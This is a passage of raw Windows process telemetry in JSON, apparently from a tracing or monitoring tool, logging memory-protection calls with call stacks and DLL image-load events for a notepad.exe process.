",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFED\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987378690792\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC00068\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987378847034\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0009C\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987378847034\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B0\",\"size\":\"13600\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02252\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00921\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987378847034\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B0\",\"size\":\"13600\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02296\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00943\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987379159559\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F100\",\"size\":\"1344\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC05082\",\"page_addr\":\"00007FFBDEC05000\",\"size\":\"1081344\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC079D2\",\"page_addr\":\"00007FFBDEC07000\",\"size\":\"1073152\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04C14\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"etw\",\"time\":\"133737987377004979\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F7CA0\",\"ImageSize\":\"0x00000121360F7CA0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"265248\",\"TimeDateStamp\":\"1643917504\",\"DefaultBase\":\"0x00000121360F84C0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\notepad.exe\"},{\"type\":\"dll\",\"time\":\"133737987379159559\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07EA28\",\"size\":\"448\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFEE4\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC04479\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987379472046\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07EA28\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFB5\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC04479\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987379472046\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07EA28\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFED\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC04479\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987379940800\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07EA28\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC00068\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC04479\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987379940800\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07EA28\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0009C\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC04479\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987379159559\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"0000022521EF18E8\",\"size\":\"5656\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC44518\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC2288A\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC50128\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC500D3\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987379940800\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07EA20\",\"size\":\"13600\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02252\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00921\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987380253321\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07EA20\",\"size\":\"13600\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02296\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00943\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"etw\",\"time\":\"133737987377005179\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F84C0\",\"ImageSize\":\"0x00000121360F84C0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"2047181\",\"TimeDateStamp\":\"1754238027\",\"DefaultBase\":\"0x00000121360F7D90\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ntdll.dll\"},{\"type\":\"etw\",\"time\":\"133737987377009890\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F7D90\",\"ImageSize\":\"0x00000121360F8600\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"809120\",\"TimeDateStamp\":\"2742881751\",\"DefaultBase\":\"0x00000121360F8510\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\kernel32.dll\"},{\"type\":\"etw\",\"time\":\"133737987377011212\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F8510\",\"ImageSize\":\"0x00000121360F8510\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"3204941\",\"TimeDateStamp\":\"3307363599\",\"DefaultBase\":\"0x00000121360F84C0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\KernelBase.dll\"},{\"type\":\"etw\",\"time\":\"133737987377022034\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F8600\",\"ImageSize\":\"0x00000121360F7DE0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"218727\",\"TimeDateStamp\":\"3634633287\",\"DefaultBase\":\"0x00000121360F8510\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32.dll\"},{\"type\":\"etw\",\"time\":\"133737987377022656\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F8600\",\"ImageSize\":\"0x00000121360F8600\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"155400\",\"TimeDateStamp\":\"3336608826\",\"DefaultBase\":\"0x00000121360F8600\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\win32u.dll\"},{\"type\":\"etw\",\"time\":\"133737987377023018\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F7DE0\",\"ImageSize\":\"0x00000121360F7DE0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1180473\",\"TimeDateStamp\":\"576863693\",\"DefaultBase\":\"0x00000121360F7DE0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32full.dll\"},{\"type\":\"etw\",\"time\":\"133737987377023507\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F8FB0\",\"ImageSize\":\"0x00000121360F98C0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"659111\",\"TimeDateStamp\":\"958749903\",\"DefaultBase\":\"0x00000121360F8FB0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp_win.dll\"},{\"type\":\"etw\",\"time\":\"133737987377023941\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F91E0\",\"ImageSize\":\"0x00000121360F8FB0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1076532\",\"TimeDateStamp\":\"2177850761\",\"DefaultBase\":\"0x00000121360F93C0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbase.dll\"},{\"type\":\"etw\",\"time\":\"133737987377024494\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"StartThread\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ProcessID\":\"1704\",\"ThreadID\":\"14644\",\"StackBase\":\"0x00000121360F93C0\",\"StackLimit\":\"0x00000121360F9370\",\"UserStackBase\":\"0x00000121360F91E0\",\"UserStackLimit\":\"0x00000121360F9500\",\"StartAddr\":\"0x00000121360F95F0\",\"Win32StartAddr\":\"0x00000121360F99B0\",\"TebBase\":\"0x00000121360F9870\",\"SubProcessTag\":\"0\"},{\"type\":\"etw\",\"time\":\"133737987377025005\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9500\",\"ImageSize\":\"0x00000121360F9280\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1745311\",\"TimeDateStamp\":\"4291603748\",\"DefaultBase\":\"0x00000121360F99B0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\user32.dll\"},{\"type\":\"etw\",\"time\":\"133737987377026105\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9230\",\"ImageSize\":\"0x00000121360F9500\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"3511252\",\"TimeDateStamp\":\"3888075817\",\"DefaultBase\":\"0x00000121360F90F0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\combase.dll\"},{\"type\":\"etw\",\"time\":\"133737987377026651\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F98C0\",\"ImageSize\":\"0x00000121360F9500\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1244603\",\"TimeDateStamp\":\"2016036219\",\"DefaultBase\":\"0x00000121360F95F0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\rpcrt4.dll\"},{\"type\":\"etw\",\"time\":\"133737987377027349\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9370\",\"ImageSize\":\"0x00000121360F95F0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"731810\",\"TimeDateStamp\":\"2272255898\",\"DefaultBase\":\"0x00000121360F